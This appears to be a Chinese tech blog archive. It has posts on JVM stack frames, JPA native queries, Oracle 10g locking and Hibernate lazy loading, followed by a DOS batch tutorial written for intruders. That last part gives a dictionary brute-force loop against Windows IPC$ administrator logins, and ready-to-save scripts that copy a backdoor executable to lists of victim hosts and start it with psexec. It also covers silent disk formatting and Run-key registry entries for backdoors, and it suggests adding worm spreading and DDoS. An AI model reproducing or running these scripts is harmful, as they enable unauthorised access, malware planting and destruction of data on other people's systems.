中并释放方法addTwoType()的堆栈帧。然后jvm使addTwoType()的堆栈帧
为当前帧并继续执行方法addAndPrint()。

图5-12显示了相同的方法在不同的jvm实现里的执行情况。这里的堆栈帧是在
一个连续的空间里的。这种方法允许相邻方法的堆栈帧可以重叠。这里调用者的
操作数堆栈就成了被调者的局部变量区。

图5-12. 从一个连续的堆栈中分配帧

这种方法不仅节省了空间,而且节省了时间,因为jvm不必把参数从一个
堆栈帧拷贝到另一个堆栈帧中了。

注意当前帧的操作数堆栈总是在java堆栈的顶部。尽管这样可能
可以更好的说明图5-12的实现。但不管java堆栈是如何实现的,
对操作数堆栈的操作总是在当前帧执行的。这样,在当前帧的
操作数堆栈压入一个数也就是在java堆栈压入一个值。

java堆栈还有一些其他的实现,基本上是上述两种的结合。一个jvm可以
在线程初期时从堆栈分出一段空间。在这段连续的空间里,jvm可以采用
5-12的重叠方法。但在与其他段空间的结合上,就要使用如图5-11的方法。

Tuesday, May 05, 2009

JPA Native Queries

The time when executing native SQL meant mishandles connections, heaps of finally blocks and prepared statements is finally over. With the introduction of the Java Persistence API (JPA 1.0) executing plain SQL queries is now as easy as it should be. JPA native queries have the following properties:

  • A native query is assumed to return either a single scalar value, like:
    1. Query query = em.createNativeQuery(
    2. "select id from users where username = ?");
    3. query.setParameter(1, "lt");
    4. BigDecimal val = (BigDecimal) query.getSingleResult();
    or return all persistent values as specified in a entity class:
    1. Query query = em.createNativeQuery(
    2. "select * from users where username = ?", User.class);
    3. query.setParameter(1, "lt");
    4. User user = (User) query.getSingleResult();
    setting the result class to: User.class ensures that the returned columns are mapped to the fields of this class (either through defaulting or via explicit @Column mappings). All non-transient fields in the result class must be returned from the query (null values are allowed).

  • Native queries can return lists of entities/scalars by issuing query.getResultList(). Database updates/deletes can be performed via the query.executeUpdate() command.

  • Like JPQL, native queries can be named for easy reuse:
    1. @NamedNativeQuery(name = "User.findLike",
    2. resultClass = User.class, query = "select * "
    3. + "from users where username like concat(1,'%')")
  • which then can be used like:
    1. Query query = em.createNamedQuery("User.findLike");
    2. query.setParameter(1, "lt");
    3. List users = query.getResultList();
    Only positional parameters are portable in native queries in the JPA 1.0 Specification (Section 3.6.6). Using named parameters in native queries is undefined.

Advanced Query Mapping

Native queries are often used when a simple entity bean is not enough requiring advanced mapping of the query result columns. Such mappings are done with the @SqlResultSetMapping annotation. Use it when:
  1. The query does not return all the mapped columns in a entity bean.
  2. The result columns of the query are named differently from the entity mapping (common when using the SQL as keyword)
  3. You are returning a mixture of scalar and entity columns or multiple entities from several tables (common when issuing joins).
As an example consider the following mapping:
  1. @SqlResultSetMapping(name="PMapping",
  2. entities={
  3. @EntityResult(entityClass=Project.class,
  4. fields={
  5. @FieldResult(name="name",column="p_name"),
  6. @FieldResult(name="description",column="p_desc")
  7. })}
  8. columns={ @ColumnResult(name="user_n") }
  9. )
which maps the following query:
  1. select u.name as u_name, p.name as p_name,
  2. p.description as p_desc from users u, project p
  3. where u.id = p.owner_id;
The @EntityResult annotation is used to map columns in the result set to fields of target entities. Thus the query must return the columns p_name and p_desc which will be mapped to the fields name and description. The @ColumnResult annotation is used to specify scalar results, using its name attribute to singling out column names that are going to be mapped as primitives. Notice how the query mapping is itself named, facilitating easy reuse, since a entity manager can reference it directly when creating a query:
  1. Query query = em.createNativeQuery("select..", "PMapping");
alternatively set it directly on a named native query:
  1. @NamedNativeQuery(name = "User.findLike",
  2. resultSetMapping = "PMapping", query = "select ..")
Since this query returns multi-typed values, executing it requires some tweaking:
  1. Query query = em.createNativeQuery("select..", "PMapping");
  2. List results = query.getResultList();
  3. Object[] resultSet1 = results.get(0);
  4. // get objects from result set
  5. Project project = (Project) resultSet1[0];
  6. String username = (String) resultSet1[1];
So to handle a multi-typed result you simple cast each array entry to the type denoted in the mapping. For complex column types such as CLOBs, cast to the appropriate JDBC type.

REFER: http://blog.randompage.org/2006/06/jpa-native-queries.html

Friday, April 10, 2009

Oracle10g的锁机制

看起来,oracle的锁分为表锁和行锁两个级别(看起来比sqlserer和mysql都要少,实际上还有一些内部锁是用户看不到的,此外oracle实现并发控制主要以来multiversion,Refer to:http://www.sc.ehu.es/siwebso/KZCC/Oracle_10g_Documentacion/server.101/b10743/consist.htm)
根据保护的对象不同,Oracle数据库锁可以分为以下几大类:DML锁(data locks,数据锁),用于保护数据的完整性;DDL锁(dictionary locks,字典锁),用于保护数据库对象的结构,如表、索引等的结构定义;内部锁和闩(internal locks and latches),保护数据库的内部结构。
DML锁的目的在于保证并发情况下的数据完整性,本文主要讨论DML锁。在Oracle数据库中,DML锁主要包括TM锁和TX锁,其中TM锁称为表级锁,TX锁称为事务锁或行级锁。
表1 Oracle的TM锁类型
锁模式 锁描述 解释 SQL操作
0 none

1 NULL Select
2 RS(Row-S) 行级共享锁,其他对象只能查询这些数据行

Select for update、Lock for update、Lock row share

3 RX(Row-X) 行级排它锁,在提交前不允许做DML操作

Insert、Update、Delete、Lock row share

4 S(Share) 共享锁 Create index、Lock share
5 SRX(S/Row-X) 共享行级排它锁 Lock share row exclusive
6 X(Exclusive) 排它锁

Alter table、Drop able、Drop index、Truncate table 、Lock exclusive



SQL Statement Mode of Table Lock Lock Modes Permitted?
RS RX S SRX X

SELECT...FROM table...

none

Y

Y

Y

Y

Y

INSERT INTO table ...

RX

Y

Y

N

N

N

UPDATE table ...

RX

Y*

Y*

N

N

N

DELETE FROM table ...

RX

Y*

Y*

N

N

N

SELECT ... FROM table FOR UPDATE OF ...

RS

Y*

Y*

Y*

Y*

N

LOCK TABLE table IN ROW SHARE MODE

RS

Y

Y

Y

Y

N

LOCK TABLE table IN ROW EXCLUSIVE MODE

RX

Y

Y

N

N

N

LOCK TABLE table IN SHARE MODE

S

Y

N

Y

N

N

LOCK TABLE table IN SHARE ROW EXCLUSIVE MODE

SRX

Y

N

N

N

N

LOCK TABLE table IN EXCLUSIVE MODE

X

N

N

N

N

N

from: http://download.oracle.com/docs/cd/B19306_01/server.102/b14220/consist.htm#sthref1939

select....不会在任何资源上加任何锁,默认的隔离级别是read committed,这个隔离级别下的transaction set consistency是statement-level(serializable的隔离级别下则为transactio-level)。
statement-level是指query的时候只返回query开始前的所有数据,不会返回query执行过程中对data的修改。 transaction-level这是query的时候返回事务开始前的所有的数据,不会返回事务执行过程中对data的修改。
这里说一下怎么测试oracle的锁。oracle有一些数据字典可以获得会话和锁的信息。
表2 数据字典视图说明
视图名 描述 主要字段说明
v$session 查询会话的信息和锁的信息。

sid,serial#:表示会话信息。

program:表示会话的应用程序信息。

row_wait_obj#:表示等待的对象。

和dba_objects中的object_id相对应。

v$session_wait 查询等待的会话信息。

sid:表示持有锁的会话信息。

Seconds_in_wait:表示等待持续的时间信息

Event:表示会话等待的事件。

v$lock 列出系统中的所有的锁。

Sid:表示持有锁的会话信息。

Type:表示锁的类型。值包括TM和TX等。

ID1:表示锁的对象标识。

lmode,request:表示会话等待的锁模式的信

息。用数字0-6表示,和表1相对应。

dba_locks 对v$lock的格式化视图。

Session_id:和v$lock中的Sid对应。

Lock_type:和v$lock中的type对应。

Lock_ID1: 和v$lock中的ID1对应。

Mode_held,mode_requested:和v$lock中

的lmode,request相对应。

v$locked_object 只包含DML的锁信息,包括回滚段和会话信息。

Xidusn,xidslot,xidsqn:表示回滚段信息。和

v$transaction相关联。

Object_id:表示被锁对象标识。

Session_id:表示持有锁的会话信息。

Locked_mode:表示会话等待的锁模式的信

息,和v$lock中的lmode一致。

比如,打开一个sql*plus,然后
> select * from game for update.
> select * from dba_locks;
从返回的结果集可以看到这个会话说获得的锁(可以通过select * from v$session来获得会话id)。
> commit;
commit之后会释放这个事务获得的所有的锁。

如何手动的释放锁?
--查看锁

select t2.username,t2.sid,t2.serial#,t2.logon_time
from
v$locked_object t1,v$session t2
where t1.session_id=t2.sid order by
t2.logon_time;

--alter system kill session 'sid,serial#';
--
把锁给KILL掉
alter system kill session '146,21177';

查询锁定的资源:

select * from v$locked_object; //得到被锁定的object

select * from dba_objects where object_id=?1 //根据上面查询得到的object_id。


Java persistent with hibernate

在采用hibernate作为JPA实现的过程中,由于本身对JPA和hibernate都不是很熟悉,碰到了一些疑问。总之,抱定了见神杀神,见佛杀佛的宗旨,不怕碰到问题,碰到了就搞定它。
昨天一直迷惑于hibernate对FetchTYpe.LAZY的支持。这里有三个类,Transaction, Ticket, GameDraw,在Ticket表中通过Transaction_ID和GameDraw_ID来关联另外两个表。 首先构造了一个Ticket实例来准备插入数据库:
Ticket ticket = new Ticket();
Transaction trans = new Transaction();
trans.setId("trans-id");
ticket.setTrans(trans);
GameDraw draw = new GameDraw();
draw.setId("draw-id");
ticket.setDraw(draw);
ticket.setId("ticket.id");

然后在执行数据库插入的时候,我发现hibernate会首先查询Transaction和GameDraw:
- [AbstractEntityPersister] Getting current persistent state for: [com.mpos.lottery.te.trans.domain.Transaction#TRANS-ID]
- [AbstractEntityPersister] Getting current persistent state for: [com.mpos.lottery.te.draw.domain.GameDraw#DRAW-ID]
看起来,应该是JPA在插入Ticket的时候,这个ticket实例会从new转化到managed的状态,而由于它关联的Transaction和GameDraw也是@Entity,并且已经被assign了identifier,所以JPA需要确定Transaction和GameDraw是什么状态(到底是new还是detached,如果存在,那么应该是detached,否则应该是new)。
看起来,如果要避免这两个额外的查询,就是采用下面的方法:
Transaction trans = entityManager.getReferece(Transaction.class, "TRANS-ID");
GameDraw draw = entityManager.getReferece(GameDraw .class, "DRAW-ID");
Ticket ticket = new Ticket();
ticket.setTransaction(trans);
ticket.setGameDraw(draw);
ticket.setId("Ticket-ID");
entityManager.persist(ticket);
本来,保存Ticket实例只需要Transaction.id和GameDraw.id就够了,并不需要其他的信息,通过Proxy来避免JPA访问数据库。

再所说JPA的lazy loading。EntityManager的find(),getReference()分别对应到hibernate native的get()和load(),即前一个方法总是查询数据库来获得实例,而后一个方法不会访问数据库,而是返回一个本地的代理,只有在真正访问某个getter方法的时候才会去查询数据库。
对于JPA、hibernate,调用getID()的时候不会访问数据库,而对于ibatis,这没有这么细粒度,访问任何getter方法都会查询数据库。实际上,hibernate通过proxy(runtime generation)和interception(需要在编译后,对class进行bytecode enhancemant)。Proxies and collection wrappers can only be used to lazy load entity associations and collections. 就是说Proxies是对整个关联实例进行代理,只能lazy load一个实例,无法lazy load实例的某个属性。 Interception可以实现lazy load某个属性(对属性@Basic(fetch=FetchType.Lazy)),但是一般不需要采用interception这种方式。 此外,正如前面提到过,在"Java Persistence with Hibernate"的“13.1.6"中也说过,采用proxy这种方式的话,ticket.getTransaction().getId()应该不会出发proxy的initialization(访问数据库),从我个人的理解来说,我也认为这样的行为是合理的,因为Ticket表中已经保存了Transtion_id,而且fetch=FetchType.LAZY,所以ticket.getTransaction()和entityManager.getReference(Transaction.class, "TRANS-ID")应该得到同样的proxy,所以ticket.getTransaction().getId()不会出发proxy initialization。不过实际的结果是,在测试过程中我就发现ticket.getTransaction().getId()的时候,hibernate会根据trans_ID去查询Transaction. . .????
需要弄清楚的是,hibernate默认是返回proxy,而JPA的ManyToOne和OneToOne默认是访问数据库(fetch=FetchType.EAGER),所以在处理关联对象的时候,如果需要lazy loading,那么需要显示指定fetch=FetchType.EAGER. 这里需要特别考虑的是ManyToOne和OneToOne两种关联,如果optinal是true,即One的一方可以为null,那么JPA总会访问数据库,因为不访问数据库,JAP无法确定到底是应该返回Proxy还是返回null. 如果One的一方为null,而JPA直接返回Proxy,那么很明显会得到一个nullpointerexception。
所有对Ticket的查询都会应用上面的layz规则,而不是说只有通过find()方法才能激活lazy。

Friday, April 03, 2009

DOS批处理命令详解

一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on│off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。



2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)



3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。



4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.



5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。



6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。



7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234......
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end



:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye



此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都 以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。



9.If 命令



if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串"  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms



2、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys



3、if errorlevel / if not errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2  
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。



10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable




for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I



如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:



FOR /D %variable IN (set) DO command [command-parameters]



如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。



FOR /R [[drive:]path] %variable IN (set) DO command [command-



检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。



FOR /L %variable IN (start,step,end) DO command [command-para



该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。



FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command



或者,如果有 usebackq 选项:



FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command



filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:



eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。



sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command



会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。



%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或
'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。



您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。



最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:



FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i



会枚举当前环境中的环境变量名称。



另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:



~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串



可以组合修饰符来得到多重结果:



%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR



在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。



以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。



sample2:



利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>D:\ok.txt ,这样就ko了。



sample3:



你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。



主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------




------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.



二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3
三.如何使用组合命令(Compound Command)



1.&



Usage:第一条命令 & 第二条命令 [& 第三条命令...]



用这种方法可以同时执行多条命令,而不管命令是否执行成功



Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB



Directory of c:\Ex4rch



2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif



2.&&



Usage:第一条命令 && 第二条命令 [&& 第三条命令...]



用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;



Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.



C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB



Directory of c:\Ex4rch



2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.



在做备份的时候可能会用到这种命令会比较简单,如:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)



3.││



Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...]



用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;



Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB



Directory of C:\Ex4rch



2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free



组合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt



四、管道命令的使用



1.│ 命令
Usage:第一条命令 │ 第二条命令 [│ 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。




sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。



2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。



sample1:
echo hello world>c:\hello.txt (stupid example?)



sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能 发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如 果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。



3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。



No.5
五.如何用批处理文件来操作注册表



在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后 门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操 作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。



1.创建
创建分为两种,一种是创建子项(Subkey)



我们创建一个文件,内容如下:



Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]



然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。



另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:



Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02



这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是"String value"
door的类型是"REG SZ value"
Autodos的类型是"DWORD value"




2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。



3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:



Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-



执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;



我们再看看删除一个子项,我们创建一个如下的脚本:



Windows Registry Editor Version 5.00



[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]



